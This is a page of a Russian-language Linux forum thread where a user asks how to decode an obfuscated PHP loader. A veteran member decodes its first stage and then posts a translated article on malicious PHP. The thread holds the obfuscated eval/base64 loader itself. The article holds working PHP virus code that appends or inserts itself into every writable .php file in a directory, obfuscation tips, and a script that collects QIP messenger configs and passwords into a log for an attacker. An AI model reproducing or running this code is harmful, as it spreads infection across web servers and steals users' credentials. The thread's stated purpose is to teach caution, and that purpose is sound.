Есть вопрос?
Зайди на форум

Поиск на сайте: Advanced

Denix - новый дистрибутив Linux. Русификация Ubuntu и установка кодеков

dkws.org.ua
Форум сайта dkws.org.ua
 
Главная    ТемыТемы    АльбомАльбом    РегистрацияРегистрация 
 ПрофильПрофиль   Войти и проверить личные сообщенияВойти и проверить личные сообщения   ВходВход 

Раскодировка
На страницу 1, 2, 3  След.
 
Начать новую тему Ответить на тему    Список форумов dkws.org.ua -> Вопросы и ответы
 
Автор Сообщение
Леха

Новенький


Зарегистрирован: 02.06.2008
Сообщения: 10

СообщениеДобавлено: Пн Июн 02, 2008 3:43 pm    Заголовок сообщения: Раскодировка
Ответить с цитатой

Скажи пожалуйста как можно раскодировать вот это

<?php
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');
$OO00O0000=4672;
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('aWYoITApJE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO2ZnZ
XRzKCRPMDAwTzBPMDAsMTAyNCk7ZmdldHMoJE8wMDBPME8wMCw0MDk2
KTskT08wME8wME8wPShiYXNlNjRfZGVjb2RlKHN0c
nRyKGZyZWFkKCRPMDAwTzBPMDAsNDYwKSwnY0VxdEJRZkZNK0
Mzc2VTR1oxd3pMVFdLOXZIVjhscnVkbTdJRC9KZ254UFloTjRqaTZiN
KCRPTzAwTzAwTzApOw==')));return;?>
l0mxVfLnlf/NvwdxGIBbet9Xst9Xstcxvf//Cqu1pS2PMSz/2SRdp4K6p4Ii243d2rIAMSI6pYIPMwBmMwBgCzhDzXpisBpisBpiGWTbvWlu8JTiVfQIvwdgKUyfwL6QKUpg3qMgM7RDzXyGsBpiz5ci37MgM7in9JQ5vz9XK01/ V7MOzyfq9yqRXКОД НЕ ВЕСЬ
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Anton99

Neo


Зарегистрирован: 26.11.2006
Сообщения: 1676

СообщениеДобавлено: Пн Июн 02, 2008 4:10 pm    Заголовок сообщения:
Ответить с цитатой

Залей на http://pastebin.com , может смогу помочь.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Леха

Новенький


Зарегистрирован: 02.06.2008
Сообщения: 10

СообщениеДобавлено: Пн Июн 02, 2008 4:39 pm    Заголовок сообщения:
Ответить с цитатой

Чет я не пойму((
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Июн 03, 2008 5:39 am    Заголовок сообщения:
Ответить с цитатой

Вставь весь код или залей куда-то файл - раскодируем
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Леха

Новенький


Зарегистрирован: 02.06.2008
Сообщения: 10

СообщениеДобавлено: Вт Июн 03, 2008 9:10 am    Заголовок сообщения:
Ответить с цитатой

<?php

Дабы не держать на форуме вредоносный код, я его удалил

?>

Потом мне раскажите как это делать)))
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Июн 03, 2008 9:30 am    Заголовок сообщения:
Ответить с цитатой

Первая часть закодированного кода выглядит так

if(!0)$O000O0O00=fopen($OOO0O0O00,'rb');fgets($O000O0O00,1024);fgets($O000O0O00,
4096);$OO00O00O0=(base64_decode(strtr(fread($O000O0O00,460),'cEqtBQfFM+C3seSGZ1w
zLTWK9vHV8lrudm7ID/JgnxPYhN4ji6b5XU0kRao2pyOA=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcde
fghijklmnopqrstuvwxyz0123456789+/')));eval($OO00O00O0);

Видно, что она берет вторую часть кода - в конце файла, после ?>
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Июн 03, 2008 9:33 am    Заголовок сообщения:
Ответить с цитатой

Очевидно, что многоуважаемый пользователь Леха захотел подсунуть на форум что-то вроде трояна Very Happy Very Happy
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Июн 03, 2008 9:34 am    Заголовок сообщения:
Ответить с цитатой

Кому интересно, выкладываю статью на эту тему

Шкатулка с сюрпризом, или рассуждения на тему "вирусного" PHP-кода.

Привет (IMG:style_emoticons/default/wink.gif)

Эта статья/заметка рассказывает про создание вредоносного кода на PHP (см. название). И включает в себя рассуждения на тему «а нафиг оно надо» и «зачем же извращаться».

В общем, разбирая завалы на старом харде, наткнулся на свои старые «поделки». Среди них были мои попытки написать нечто вредоносное на PHP, и сохраненная страничка с интересной статьей на англ. языке. В общем, поковырялся я в своих недоделках, и решил перевести ту статью, т.к. может, кому-то будет интересно. Потом захотелось добавить что-то от себя – так вот и решил написать эту небольшую заметку. Считайте её вольным переводом статьи от Second Part To Hell (SPTH), сдобренным моими мыслями.

Прежде всего, хочу сказать, что во многом написанное ниже – извращение (порой вообще нецелесообразное). Но для общего развития, имхо, подойдет (IMG:style_emoticons/default/wink.gif)

Поделить вредоносный PHP-код, грубо говоря, можно на «серверный» (т.е. который пишется для массового заражения) и «пользовательский» (направленный на похищение конфиденциальной информации конкретного юзера).

Зачем нужен этот самый код для атаки на сервер? И что он делает-то вообще? Говоря простыми словами, таким вот «вирусом» можно назвать скрипт, копирующий свое тело в другой скрипт (второй, в свою очередь делает то же самое). Или скрипт, записывающий в другой бэкдор. Или какой-нибудь массовый iframer, рассовывающий этот тэг во все скриптовые файлы сервера. Удобно использовать такую гадость когда есть RFI (удаленный инклуд).

Атака на пользователя. Тут, естественно, расчет на то, что на машине установлен php, веб-сервер и т.п. (для тестов, скажем). Запустив левый скрипт, при определенных условиях пользователь может «подарить» взломщику инфу в виде логинов, паролей, да тех же асику-уинов и т.п. приватных вещей. Тут уж господа хеккеры социально-инженерят, засовывая свой хеккерский код в безобидные с виду скрипты. Умные особи этот код еще и шифруют (IMG:style_emoticons/default/wink.gif)


[Самокопирование]

Алгоритм самокопирования червяка довольно прост. Скрипт считывает сам себя, открывает файл-жертву, проверяет на заражение, если не заражен – дописывает себя в файл.

Теперь подробнее. «Самозаписаться» можно в начало, в конец, или в какую-то определенную «точку» файла. Имхо, более предпочтительный – третий способ, ввиду хотя бы подобия скрытности. Первый и второй по реализации схожи.

Другой вопрос – а как проверить, заражен ли файл, или нет? Можно сделать поиск по строке, которая есть у вируса – имя переменной, комментарий, и т.п. Чтобы не было совпадений с заражаемым скриптом, в случае с самокопированием в начало файла, удобнее искать совпадение строк в первых n байтах. Т.е. допустим, первая переменная или первый комментарий заданы в еще до 10-того байта файла вируса – так и будем их искать в пределах этого кол-ва байтах в зараженном файле. В других случаях приходится искать совпадение по всему файлу, значит нужно придумать оригинальную строку, чтобы не возникло совпадений с «честными файлами».

Так как мы не знаем путей к каким-либо папкам на сервере, работать вирус будет в текущей директории.

Вроде как, все что нужно объяснил. Пример вируса первого типа:

CODE
<?php
$virus = fread(fopen(__FILE__,'r'), filesize(__FILE__)); //считываем сами себя
$dir = opendir('.'); //открываем текущую директорию
while ($file = readdir($dir)) //считываем её
{

if (strstr($file, '.php') && is_writeable($file)) //проверяем тип файла и доступ к нему
{

$anyscript=fopen($file, 'r+');
if (!strstr(fread($anyscript, 12), 'virus')) //проверяем на зараженность по части от имени переменной
{

rewind($anyscript); //сброс указателя файла на начало (т.к. мы переместили его на 12 байтов)
$a = fread($anyscript, filesize($file)); //считка файла-жертвы
rewind($anyscript);
fwrite($anyscript, $virus.$a); //перезапись файла жертвы
}
fclose($anyscript);
}
}
closedir($dir);
?>


Недостатки такого подхода уже понятны - при ручном просмотре есть большая вероятность заметить этот код. Однако, есть и преимущество - при запуске скрипта, где вредоносный код записан в конце или в рандомной точке, есть шанс что этот код не выполнится. Т.к. в скрипте-жертве могут присутствовать функции принудительного завершения - die(); exit();, то очередь вирусного кода может попросту не настать - он может скопироваться в строки идущие после вызова такой функции.
//тут был s1ayer [SPG] =)

Второй тип будет мало чем отличаться в реализации.

CODE
if (!strstr(fread($anyscript, filesize($file)), 'virus')) //поиск уже по всему файлу

$anyscript=fopen($file, 'a'); //открываем в режиме добавления, а не перезаписи

fwrite($anyscript, $virus);


И rewind-ы тут не нужны, т.к. мы только добавляем контент, безо всякой считки/перезаписи.

Третий тип. Напомню, это самокопирование кода в определенное место заражаемого файла. В своей статье, Second Part To Hell предлагает такой вариант – поиск в заражаемом файле символов конца строки в PHP – ‘;’, случайный выбор какого-то из этих символов, и вставка кода после него. Это создает хотя бы подобие скрытности, как я писал выше – ведь можно просто открыть файл, посмотреть в начало/конец, и увидеть абсолютно «левый» код. Самокопироваться после определенного по счету символа ‘;’ тоже можно (хотя бы, видно не сразу =)), но вариант SPTH все-таки лучше.

CODE
<?php //SPTH
//by Second Part To Hell
$ln=16;
$filehandle=fopen(__FILE__,'r');
srand((double)microtime()*1000000);
fseek($filehandle, $ln);
$content=fread($filehandle, 987);
fclose($filehandle);
$curdir=opendir('.');
while ($file = readdir($curdir))
{
if (strstr($file, '.php'))
{
$victim=fopen($file, 'r+');
$vicont=fread($victim, filesize($file));
if (!strstr($vicont, 'SPTH'))
{
$possible=0; $c=0;
while($c<filesize($file))
{
if($vicont{$c}.$vicont{$c+1}.$vicont{$c+2}==chr(59).chr(13).chr(10)) { $possible++;}
$c++;
}
$which=rand(1,$possible); $c=0; $i=0;
while($which)
{
if($vicont{$c}.$vicont{$c+1}.$vicont{$c+2}==chr(59).chr(13).chr(10)) { $which--; }
$c++;
}
rewind($victim);
$a=fread($victim, $c); $b=fread($victim, filesize($file));
fclose($victim);
fwrite(fopen($file, 'w'), $a.chr(13).chr(10).'$ln='.$c.';'.chr(13).chr(10).$content.chr(13).chr(10).$b);
}
}
}
?>


Скрипт проверяет на зараженность жертву (по комментарию SPTH в самом начале) ищет возможные места для копирования (переменная $possible), рандомно выбирает одно из таких "мест" и записывается туда.

Здесь показан алгоритм самокопирования. Однако, в каком-то случае, возможно самокопироваться просто не нужно, а достаточно просто дописать во все файлы директории свой код. Значит, все эти самосчитки нам просто не нужны, достаточно цикла открытия/записи в чужой файл и строки с кодом бэкдора, который скопируется в каждый файл. Не обязательно бэкдор или шелл (шелл в 20-30 файлах просто нафиг не нужен), это может быть, например, iframe. А кто-то от большого ума может и дефейс устроить…
В случае с iframe можно искать не только .php, но, скажем, и .html файлы.
Обламывается все это дело проверкой на дозапись файла - добавка кода, естественно, увеличит размер, а администратор, может быть, будет время от времени делать такую проверку.


[Шифрование]

Сделать так, чтобы код не бросался в глаза, или сделать его менее читаемым - путь к более длительной "жизни" червяка (однако, от проверки на дозапись, разумеется, не спасет). Некоторые виды шифрования могут "уберечь" от происков антивируса, который разбирает скрипты (если поиск происходит по сигнатуре), но никак не от ручной проверки скрипта человеком, даже слабо знающим язык.

Пара советов/примеров.

1. Простой и многим, думаю, знакомый прием - base64-шифрование.

CODE
$string = 'phpinfo();';
$string = base64_ecnode($string);
--
//И где-то в зараженном скрипте
eval(base64_decode($string));


Ручной проверки не выдержит, у адекватного проверяющего зачешутся руки его декодировать =)

2. ASCII-кодирование. Не менее простой, и не менее знакомый.

CODE
ord ('[символ]');


Подается в заражаемый скрипт в таком виде: chr(‘[номер символа]’);.

Аналогичен предыдущему примеру.

3. Обфускация (сторонние или свои алгоритмы)

Естественно, последний вариант трудновоспринимаем для исследователя, поэтому относительно надежен.

[Скрипт с подарочком или привет, PHPinch]

Самокопирование, бэкдоры – с этим, думаю, все ясно. Все эти действия обычно направлены на сервер. Теперь рассмотрим еще один момент – атака на простого пользователя. Можно написать скрипт, который при определенных условиях стащит пароли/файлы/etc у пользователя, который запустил его. Алгоритм, опять же, прост: поиск файла, который нужно украсть, парсинг файла с занесением нужных данных в лог-файл, или же без парсинга – просто запись целевого файла в лог. Затем шифрация/архивация лога и отправка его взломщику (FTP, mail, "гейт", etc).

Демонстрирую на примере моего небольшого исходника - копирования конфиг-файла QIP-а (8030).

CODE
<?php
function passqip()
{
$log=@fopen('C:\Windows\Temp\log.log ', 'a'); //открываем (если нету - создаем) наш лог
fputs($log, "-----Here Is QIP Passwords-----\n"); //для удобочтения
$dir = @opendir('C:\Program Files\QIP\Users')
If (!$dir) {
fputs($log, "-----QIP was non detected-----\n"); //если QIP-а нету - так и пишем
}
else {
while ($folder = @readdir($dir)) //читаем каждый файл в директории
{
if($folder != '.' && $folder != '..' && $folder != 'Accounts.cfg' && $folder != 'Default.cfg') //отбрасываем ненужные нам файлы и символы текущего/родительского каталогов
{
$qipfile = @fopen('C:\Program Files\QIP\Users\\'.$folder.'\config.ini', 'r');
fputs($log, "-----Config.ini file for UIN ".$folder."-----\n");
while(!feof($qipfile))
fputs($log, fgets($qipfile)); //кидаем конфиг в лог-файл
}
}
fputs($log, "-----End of QIP Passwords-----\n\n"); //ты хекер!
}
}


Собственно, создание лога, считка всех папок-аккаунтов в папке Users и вытаскивание оттуда config.ini (можно было бы пропарсить, ну да ладно =)). Получив конфиг, хекер воспользуется какой-то утилитой для "восстановления паролей", и вуаля...

Если пароли хранятся в реестре, взломщик может использовать system(), чтобы достать их оттуда.

Собственно, я это пишу не для призыва делать «пинчи» на php (ааа, извращенцы наступают!), а наоборот – чтобы прежде чем не читая запустить хек-скрипт на пару сотен строк, просмотреть его на предмет такого вот безобразия.

[Happy end]

Вроде все, что хотел написать – написал. Надеюсь, кому-то было интересно.

Статья, от которой я плясал - vx.netlux.org/lib/vsp05.html (en). Must read, если тема заинтересовала.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Леха

Новенький


Зарегистрирован: 02.06.2008
Сообщения: 10

СообщениеДобавлено: Вт Июн 03, 2008 10:06 am    Заголовок сообщения:
Ответить с цитатой

Я не че не хотел подсунуть,просто мне на сайт дали этот зашифр,файл извени
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Июн 03, 2008 10:18 am    Заголовок сообщения:
Ответить с цитатой

Ломик есть? Если есть, то самое время его взять и пойти к тому, кто тебе дал этот файлик, чтобы в следующий раз ему не хотелось ничего шифровать Very Happy Very Happy Very Happy
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Леха

Новенький


Зарегистрирован: 02.06.2008
Сообщения: 10

СообщениеДобавлено: Вт Июн 03, 2008 10:21 am    Заголовок сообщения:
Ответить с цитатой

Теперь буду проверять..
den а вы книгу про php написали Самоучитель php5
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Июн 03, 2008 10:26 am    Заголовок сообщения:
Ответить с цитатой

Леха, ага, я
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Tuxik

Тяпницо


Зарегистрирован: 02.07.2007
Сообщения: 1521

СообщениеДобавлено: Вт Июн 03, 2008 10:37 am    Заголовок сообщения:
Ответить с цитатой

Ну, еще редактор поучаствовал в ее написании Smile
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Леха

Новенький


Зарегистрирован: 02.06.2008
Сообщения: 10

СообщениеДобавлено: Вт Июн 03, 2008 10:45 am    Заголовок сообщения:
Ответить с цитатой

Касперский не че не нашел
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13870
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Июн 03, 2008 10:57 am    Заголовок сообщения:
Ответить с цитатой

Его может и не быть в базе антивируса. Код также может выполнять обычные действия, например, файлики удалять - каспер тоже ничо не скажет ))
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Показать сообщения:   
Начать новую тему Ответить на тему    Список форумов dkws.org.ua -> Вопросы и ответы Часовой пояс: GMT
На страницу 1, 2, 3  След.
Страница 1 из 3
 Главная страница сайта
 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
© Колисниченко Денис